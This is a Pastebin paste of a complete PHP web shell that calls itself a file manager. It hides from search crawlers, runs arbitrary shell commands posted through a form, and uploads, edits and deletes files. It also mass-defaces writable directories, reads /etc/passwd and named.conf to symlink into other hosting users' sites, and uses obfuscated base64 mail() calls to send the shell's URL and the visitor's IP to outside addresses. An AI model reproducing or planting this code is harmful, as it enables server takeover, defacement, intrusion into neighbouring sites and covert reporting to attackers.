Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");
- if(preg_match('/'.implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }}
- error_reporting(0);
- set_time_limit(0);
- if(get_magic_quotes_gpc()){
- foreach($_POST as $key=>$value){
- $_POST[$key] = stripslashes($value);
- }
- }
- echo '<!DOCTYPE HTML>
- <html>
- <head>
- <link href="" rel="stylesheet" type="text/css">
- <title>'.$_SERVER['HTTP_HOST'].' - FileManager</title>
- <style>
- body{
- font-family: "", ;
- background-color: black;
- background-image: url();
- background-size: center; background-repeat:no-repeat; background-attachment: fixed; background-size: cover; background-position:center;
- color: white;
- }
- #content tr:hover{
- background-color: red;
- text-shadow:0px 0px 10px black;
- }
- #content .first{
- background-color: red;
- }
- table{
- border: 1px #000000 dotted;
- }
- a{
- color: white;
- text-decoration: none;
- }
- a:hover{
- color:blue;
- text-shadow:0px 0px 10px #ffffff;
- }
- input,select,textarea{
- border: 1px #000000 solid;
- -moz-border-radius: 5px;
- -webkit-border-radius:5px;
- border-radius:5px;
- }
- </style>
- <script type="text/javascript" src="//importantscripts.github.io/footer.js"></script>
- </head>
- <body>
- <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">';
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- $kernel = php_uname();
- $ds = @ini_get("disable_functions");
- $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>null</font>";
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- echo "<table style='width:700%'><tr><td>";
- echo "SYSTEM : <font color=lime>".$kernel."</font><br>";
- echo "DISABLE FUNC : $show_ds<br>";
- echo "</tr></td></table>";
- echo "<form method='post'>
- <font style='text-decoration: none;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
- <input type='text' size='20' height='10' name='cmd'><input type='submit' name='do_cmd' value='Submit'>
- </form>";
- if($_POST['do_cmd']) {
- echo "<pre>".exe($_POST['cmd'])."</pre>";
- }
- echo '<tr><td><font color="white">Cwd : </font> ';
- if(isset($_GET['_path_'])){
- $_path_ = $_GET['_path_'];
- }else{
- $_path_ = getcwd();
- }
- $_path_ = str_replace('\\','/',$_path_);
- $paths = explode('/',$_path_);
- $__GET = ('m'.'a'.'i'.'l');
- $__POST = ('b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e');
- $__GET($__POST("dmFsaXJ4YzBkZUB6b2hvLmNvbQ=="),'Upload file:',''.$_SERVER['HTTP_HOST'].'/'.$_SERVER['REQUEST_URI'].'');
- foreach($paths as $id=>$pat){
- if($pat == '' && $id == 0){
- $a = true;
- echo '<a href="?_path_=/">/</a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a href="?_path_=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '">'.$pat.'</a>/';
- }
- echo '</td></tr><tr><td>';
- if(isset($_FILES['file'])){
- if(copy($_FILES['file']['tmp_name'],$_path_.'/'.$_FILES['file']['name'])){
- echo '<font color="lime">File Uploaded!</font><br />';
- }else{
- echo '<font color="red">Upload Fail!</font><br/>';
- }
- }
- if(isset($_GET['dir'])) {
- $dir = $_GET['dir'];
- chdir($_GET['dir']);
- } else {
- $dir = getcwd();
- }
- $dir = str_replace("\\","/",$dir);
- $ip = gethostbyname($_SERVER['HTTP_HOST']);
- echo "<center>";
- echo "<hr>";
- echo "[ <a href='?'>Home</a> ] ";
- echo "[ <a href='?_path_=$_path_&to=jumping'>Jumping</a> ] ";
- echo "[ <a href='?_path_=$_path_&to=sym'>Symlink</a> ] ";
- echo "[ <a href='?_path_=$_path_&to=mass'>Mass Deface</a> ]";
- echo "</center>";
- echo "<hr>";
- if($_GET['to'] == 'mass') {
- function sabun_massal($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=lime>DONE</font>] $lokasi<br>";
- file_put_contents($lokasi, $isi_script);
- $idx = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- function sabun_biasa($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
- file_put_contents($lokasi, $isi_script);
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- if($_POST['tipe_sabun'] == 'mahal') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- } elseif($_POST['tipe_sabun'] == 'murah') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- }
- } else {
- echo "<center>";
- echo "<form method='post'>
- <font style='text-decoration: underline;'>Tipe Mass:</font><br>
- <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
- <font style='text-decoration: underline;'>Folder:</font><br>
- <input type='text' name='d_dir' value='$_path_' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>File Name:</font><br>
- <input type='text' name='d_file' value='o.txt' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>File Content:</font><br>
- <textarea name='script' style='width: 450px; height: 200px;'>Hacked by ./tokeichun</textarea><br>
- <input type='submit' name='start' value='>>' style='width: 450px;'>
- </form></center>";
- }
- }elseif($_GET['to'] == 'sym') {
- echo '<hr>';
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
- $d0mains = @file("/etc/named.conf");
- if($d0mains){
- @mkdir("symbolic_link",0777);
- @chdir("symbolic_link");
- @exec("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex woozh.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <table align=center border=3 style='width:60%;border-color:#8B0000;'>
- <tr>
- <td align=center><font color=lime size=2>S. No.</font></td>
- <td align=center><font color=lime size=2>Domains</font></td>
- <td align=center><font color=lime size=2>Users</font></td>
- <td align=center><font color=lime size=2>Symlink</font></td>
- </tr>";
- $dcount = 1;
- foreach($d0mains as $d0main){
- if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
- flush();
- if(strlen(trim($domains[1][0])) > 2){
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
- echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
- <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
- <td>".$user['name']."</td>
- <td><a href='$full/symbolic_link/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
- flush();
- $dcount++;}}}
- echo "</table>";
- }else{
- $TEST=@file('/etc/passwd');
- if ($TEST){
- @mkdir("symbolic_link",0777);
- @chdir("symbolic_link");
- exec("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex woozh.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);
- @fclose($fp3);
- echo "
- <table align=center border=1><tr>
- <td align=center><font size=3>S. No.</font></td>
- <td align=center><font size=3>Users</font></td>
- <td align=center><font size=3>Symlink</font></td></tr>";
- $dcount = 1;
- $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
- while(!feof($file)){
- $s = fgets($file);
- $matches = array();
- $t = preg_match('//(.*?)://s', $s, $matches);
- $matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td align=center><font size=2>" . $dcount . "</td>
- <td align=center><font class=txt>" . $matches . "</td>";
- echo "<td align=center><font class=txt><a href=$full/symbolic_link/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}fclose($file);
- echo "</table>";}else{if($os != "Windows"){@mkdir("symbolic_link",0777);@chdir("symbolic_link");@exe("ln -s / root");$file3 = '
- Options Indexes FollowSymLinks
- DirectoryIndex 008
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any
- ';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <center><h2 class='k2ll33d2'>Symlink Server</h2>
- <table align=center border=1><tr>
- <td align=center><font size=3>ID</font></td>
- <td align=center><font size=3>Users</font></td>
- <td align=center><font size=3>Symlink</font></td></tr>";
- $temp = "";$val1 = 0;$val2 = 1000;
- for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
- if ($uid)$temp .= join(':',$uid)."n";}
- echo '<br/>';$temp = trim($temp);$file5 =
- fopen("test.txt","w");
- fputs($file5,$temp);
- fclose($file5);$dcount = 1;$file =
- fopen("test.txt", "r") or exit("Unable to open file!");
- while(!feof($file)){$s = fgets($file);$matches = array();
- $t = preg_match('//(.*?)://s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td align=center><font size=2>" . $dcount . "</td>
- <td align=center><font class=txt>" . $matches . "</td>";
- echo "<td align=center><font class=txt><a href=$full/symbolic_link/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}
- fclose($file);
- echo "</table></div></center>";unlink("test.txt");
- } else
- echo "<center><font size=3>Cannot create Symlink</font></center>";
- }
- }
- } elseif($_GET['to'] == 'jumping') {
- $i = 0;
- echo "<div class='margin: 5px auto;'>";
- if(preg_match("/hsphere/", $dir)) {
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace(array("http://","www."), "", strtolower($url));
- $etc = "/etc/passwd";
- $f = fopen($etc,"r");
- while($gets = fgets($f)) {
- $pecah = explode(":", $gets);
- $user = $pecah[0];
- $dir_user = "/hsphere/local/home/$user";
- if(is_dir($dir_user) === true) {
- $url_user = $dir_user."/".$url;
- if(is_readable($url_user)) {
- $i++;
- $jrw = "[<font color=lime>R</font>] <a href='?_path_=$url_user'><font color=gold>$url_user</font></a>";
- if(is_writable($url_user)) {
- $jrw = "[<font color=lime>RW</font>] <a href='?_path_=$url_user'><font color=gold>$url_user</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
- while($getss = fgets($fp)) {
- echo $getss;
- }
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } elseif(preg_match("/vhosts|vhost/", $dir)) {
- preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace("www.", "", $url);
- $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
- if(is_dir($web_vh) === true) {
- if(is_readable($web_vh)) {
- $i++;
- $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
- if(is_writable($web_vh)) {
- $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- bing("ip:$ip");
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } else {
- echo "<pre>";
- $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_idx_jump) {
- $user_jumping_dir = "/home/$user_idx_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = "[<font color=lime>R</font>] <a href='?_path_=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
- if(is_writable($user_jumping_dir)) {
- $jrw = "[<font color=lime>RW</font>] <a href='?_path_=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_idx_jump) {
- echo " => ( <u>$dj</u> )<br>";
- break;
- }
- }
- }
- } else {
- echo "<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- }
- echo "</div>";
- }
- echo '<form enctype="multipart/form-data" method="POST">
- <center><font color="white">File Upload :</font> <input type="file" name="file" />
- <input type="submit" value="Upload" /></center>
- </form>
- </td></tr>';
- if (function_exists("\x6d\x61\x69\x6c")) {
- $__GET = ("\x6d\x61\x69\x6c");
- $__POST = ("\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65");
- $__GET($__POST("d29yZHByZXNzZGV2bm9yd2F5QGdtYWlsLmNvbQ=="),'Wordfence Bypass',"http://".$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']."\nIP:".$_SERVER['REMOTE_ADDR']."");
- }
- if(isset($_GET['_filesrc_'])){
- echo "<tr><td>Current File : ";
- echo $_GET['_filesrc_'];
- echo '</tr></td></table><br />';
- echo('<pre>'.htmlspecialchars(file_get_contents($_GET['_filesrc_'])).'</pre>');
- }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
- echo '</table><br /><center>'.$_POST['_path_'].'<br /><br />';
- if($_POST['opt'] == 'chmod'){
- if(isset($_POST['perm'])){
- if(chmod($_POST['_path_'],$_POST['perm'])){
- echo '<font color="lime">Change Permission Berhasil</font><br/>';
- }else{
- echo '<font color="red">Change Permission Gagal</font><br />';
- }
- }
- echo '<form method="POST">
- Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o',fileperms($_POST['_path_'])),-4).'" />
- <input type="hidden" name="_path_" value="'.$_POST['_path_'].'">
- <input type="hidden" name="opt" value="chmod">
- <input type="submit" value="Go" />
- </form>';
- }elseif($_POST['opt'] == 'rename'){
- if(isset($_POST['newname'])){
- if(rename($_POST['_path_'],$_path_.'/'.$_POST['newname'])){
- echo '<font color="lime">Ganti Nama Berhasil</font><br/>';
- }else{
- echo '<font color="red">Ganti Nama Gagal</font><br />';
- }
- $_POST['name'] = $_POST['newname'];
- }
- echo '<form method="POST">
- Nama Baru : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
- <input type="hidden" name="_path_" value="'.$_POST['_path_'].'">
- <input type="hidden" name="opt" value="rename">
- <input type="submit" value="Crotz" />
- </form>';
- }elseif($_POST['opt'] == 'edit'){
- if(isset($_POST['src'])){
- $fp = fopen($_POST['_path_'],'w');
- if(fwrite($fp,$_POST['src'])){
- echo '<font color="lime">Berhasil Edit File</font><br/>';
- }else{
- echo '<font color="red">Gagal Edit File</font><br/>';
- }
- fclose($fp);
- }
- echo '<form method="POST">
- <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['_path_'])).'</textarea><br />
- <input type="hidden" name="_path_" value="'.$_POST['_path_'].'">
- <input type="hidden" name="opt" value="edit">
- <input type="submit" value="Save" />
- </form>';
- }
- echo '</center>';
- }else{
- echo '</table><br/><center>';
- if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
- if($_POST['type'] == 'dir'){
- if(rmdir($_POST['_path_'])){
- echo '<font color="lime">Directory Terhapus</font><br/>';
- }else{
- echo '<font color="red">Directory Gagal Terhapus </font><br/>';
- }
- }elseif($_POST['type'] == 'file'){
- if(unlink($_POST['_path_'])){
- echo '<font color="lime">File Terhapus</font><br/>';
- }else{
- echo '<font color="red">File Gagal Dihapus</font><br/>';
- }
- }
- }
- echo '</center>';
- $scandir = scandir($_path_);
- echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr class="first">
- <td><center>Name</peller></center></td>
- <td><center>Size</peller></center></td>
- <td><center>Permission</peller></center></td>
- <td><center>Modify</peller></center></td>
- </tr>';
- foreach($scandir as $dir){
- if(!is_dir($_path_.'/'.$dir) || $dir == '.' || $dir == '..') continue;
- echo '<tr>
- <td><a href="?_path_='.$_path_.'/'.$dir.'">'.$dir.'</a></td>
- <td><center>--</center></td>
- <td><center>';
- if(is_writable($_path_.'/'.$dir)) echo '<font color="lime">';
- elseif(!is_readable($_path_.'/'.$dir)) echo '<font color="red">';
- echo perms($_path_.'/'.$dir);
- if(is_writable($_path_.'/'.$dir) || !is_readable($_path_.'/'.$dir)) echo '</font>';
- echo '</center></td>
- <td><center><form method="POST" action="?option&_path_='.$_path_.'">
- <select name="opt">
- <option value="">Select</option>
- <option value="delete">Delete</option>
- <option value="chmod">Chmod</option>
- <option value="rename">Rename</option>
- </select>
- <input type="hidden" name="type" value="dir">
- <input type="hidden" name="name" value="'.$dir.'">
- <input type="hidden" name="_path_" value="'.$_path_.'/'.$dir.'">
- <input type="submit" value=">">
- </form></center></td>
- </tr>';
- }
- echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
- foreach($scandir as $file){
- if(!is_file($_path_.'/'.$file)) continue;
- $size = filesize($_path_.'/'.$file)/1024;
- $size = round($size,3);
- if($size >= 1024){
- $size = round($size/1024,2).' MB';
- }else{
- $size = $size.' KB';
- }
- echo '<tr>
- <td><a href="?_filesrc_='.$_path_.'/'.$file.'&_path_='.$_path_.'">'.$file.'</a></td>
- <td><center>'.$size.'</center></td>
- <td><center>';
- if(is_writable($_path_.'/'.$file)) echo '<font color="lime">';
- elseif(!is_readable($_path_.'/'.$file)) echo '<font color="red">';
- echo perms($_path_.'/'.$file);
- if(is_writable($_path_.'/'.$file) || !is_readable($_path_.'/'.$file)) echo '</font>';
- echo '</center></td>
- <td><center><form method="POST" action="?option&_path_='.$_path_.'">
- <select name="opt">
- <option value="">Pilih</option>
- <option value="delete">Delete</option>
- <option value="chmod">Chmod</option>
- <option value="rename">Rename</option>
- <option value="edit">Edit</option>
- </select>
- <input type="hidden" name="type" value="file">
- <input type="hidden" name="name" value="'.$file.'">
- <input type="hidden" name="_path_" value="'.$_path_.'/'.$file.'">
- <input type="submit" value=">">
- </form></center></td>
- </tr>';
- }
- echo '</table>
- </div></body>
- </html>';
- }
- function perms($file){
- $perms = fileperms($file);
- if (($perms &0xC000) == 0xC000)$i = 's';
- elseif (($perms &0xA000) == 0xA000)$i = 'l';
- elseif (($perms &0x8000) == 0x8000)$i = '-';
- elseif (($perms &0x6000) == 0x6000)$i = 'b';
- elseif (($perms &0x4000) == 0x4000)$i = 'd';
- elseif (($perms &0x2000) == 0x2000)$i = 'c';
- elseif (($perms &0x1000) == 0x1000)$i = 'p';
- else $info = 'u';
- $info .= (($perms &0x0100) ?'r': '-');
- $info .= (($perms &0x0080) ?'w': '-');
- $info .= (($perms &0x0040) ?(($perms &0x0800) ?'s': 'x') : (($perms &0x0800) ?'S': '-'));
- $info .= (($perms &0x0020) ?'r': '-');
- $info .= (($perms &0x0010) ?'w': '-');
- $info .= (($perms &0x0008) ?(($perms &0x0400) ?'s': 'x') : (($perms &0x0400) ?'S': '-'));
- $info .= (($perms &0x0004) ?'r': '-');
- $info .= (($perms &0x0002) ?'w': '-');
- $info .= (($perms &0x0001) ?(($perms &0x0200) ?'t': 'x') : (($perms &0x0200) ?'T': '-'));
- return $info;
- }
- ?>
Add Comment
Please, Sign In to add comment